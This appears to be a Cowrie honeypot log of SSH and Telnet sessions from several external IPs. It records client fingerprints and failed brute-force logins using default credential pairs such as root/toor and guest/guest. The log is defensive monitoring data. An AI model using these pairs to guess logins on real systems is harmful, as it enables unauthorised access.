{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:06.090219Z","src_ip":"43.153.50.142","session":"2e89ef9b5b79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123.","message":"login attempt [root/asdf123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:06.393871Z","src_ip":"43.153.50.142","session":"2e89ef9b5b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:07.463867Z","src_ip":"43.153.50.142","session":"2e89ef9b5b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35370,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fb2135e45f7","protocol":"ssh","message":"New connection: 83.168.110.85:35370 (10.17.0.5:22) [session: 5fb2135e45f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:10.783562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:10.789144Z","src_ip":"83.168.110.85","session":"5fb2135e45f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:11.051818Z","src_ip":"83.168.110.85","session":"5fb2135e45f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:11.519424Z","src_ip":"83.168.110.85","session":"5fb2135e45f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00116610527039,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:11.716228Z","src_ip":"152.42.224.71","session":"280cc7328362","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:12.645326Z","src_ip":"83.168.110.85","session":"5fb2135e45f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.2701895236969,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:15.072592Z","src_ip":"152.42.224.71","session":"94f881ccbc0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56618,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d23ac60e69","protocol":"telnet","message":"New connection: 152.42.224.71:56618 (10.17.0.5:23) [session: b2d23ac60e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:15.876070Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57126,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4b12def6aaa","protocol":"ssh","message":"New connection: 83.168.110.85:57126 (10.17.0.5:22) [session: f4b12def6aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:17.618395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:17.623811Z","src_ip":"83.168.110.85","session":"f4b12def6aaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:17.744809Z","src_ip":"83.168.110.85","session":"f4b12def6aaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:18.110394Z","src_ip":"83.168.110.85","session":"f4b12def6aaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:19.525555Z","src_ip":"83.168.110.85","session":"f4b12def6aaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33680,"dst_ip":"10.17.0.5","dst_port":22,"session":"6963a31f97a3","protocol":"ssh","message":"New connection: 83.168.110.85:33680 (10.17.0.5:22) [session: 6963a31f97a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:24.483528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:24.488413Z","src_ip":"83.168.110.85","session":"6963a31f97a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:24.613027Z","src_ip":"83.168.110.85","session":"6963a31f97a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:24.979481Z","src_ip":"83.168.110.85","session":"6963a31f97a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:26.156253Z","src_ip":"83.168.110.85","session":"6963a31f97a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33694,"dst_ip":"10.17.0.5","dst_port":22,"session":"7925b913437f","protocol":"ssh","message":"New connection: 83.168.110.85:33694 (10.17.0.5:22) [session: 7925b913437f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:31.676894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:31.681573Z","src_ip":"83.168.110.85","session":"7925b913437f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:31.804515Z","src_ip":"83.168.110.85","session":"7925b913437f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:32.259115Z","src_ip":"83.168.110.85","session":"7925b913437f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:33.386420Z","src_ip":"83.168.110.85","session":"7925b913437f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.117.79.36","src_port":48222,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6792f079dc2","protocol":"ssh","message":"New connection: 39.117.79.36:48222 (10.17.0.5:22) [session: a6792f079dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:37.652388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:37.657521Z","src_ip":"39.117.79.36","session":"a6792f079dc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:37.857389Z","src_ip":"39.117.79.36","session":"a6792f079dc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"78ui&*UI","message":"login attempt [root/78ui&*UI] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:38.679392Z","src_ip":"39.117.79.36","session":"a6792f079dc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57156,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9393453efca","protocol":"ssh","message":"New connection: 83.168.110.85:57156 (10.17.0.5:22) [session: f9393453efca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:38.865416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:38.898162Z","src_ip":"83.168.110.85","session":"f9393453efca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:38.988558Z","src_ip":"83.168.110.85","session":"f9393453efca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:39.462768Z","src_ip":"83.168.110.85","session":"f9393453efca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:39.880088Z","src_ip":"39.117.79.36","session":"a6792f079dc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:40.724070Z","src_ip":"83.168.110.85","session":"f9393453efca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42364,"dst_ip":"10.17.0.5","dst_port":22,"session":"1250692f7307","protocol":"ssh","message":"New connection: 83.168.110.85:42364 (10.17.0.5:22) [session: 1250692f7307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:45.868569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:45.874514Z","src_ip":"83.168.110.85","session":"1250692f7307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:45.995889Z","src_ip":"83.168.110.85","session":"1250692f7307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:46.521266Z","src_ip":"83.168.110.85","session":"1250692f7307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:47.645106Z","src_ip":"83.168.110.85","session":"1250692f7307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.29999089241028,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:48.175942Z","src_ip":"152.42.224.71","session":"b2d23ac60e69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":47910,"dst_ip":"10.17.0.5","dst_port":22,"session":"120ac220ac1c","protocol":"ssh","message":"New connection: 109.237.96.109:47910 (10.17.0.5:22) [session: 120ac220ac1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:49.511758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:48:49.516675Z","src_ip":"109.237.96.109","session":"120ac220ac1c","protocol":"ssh"}
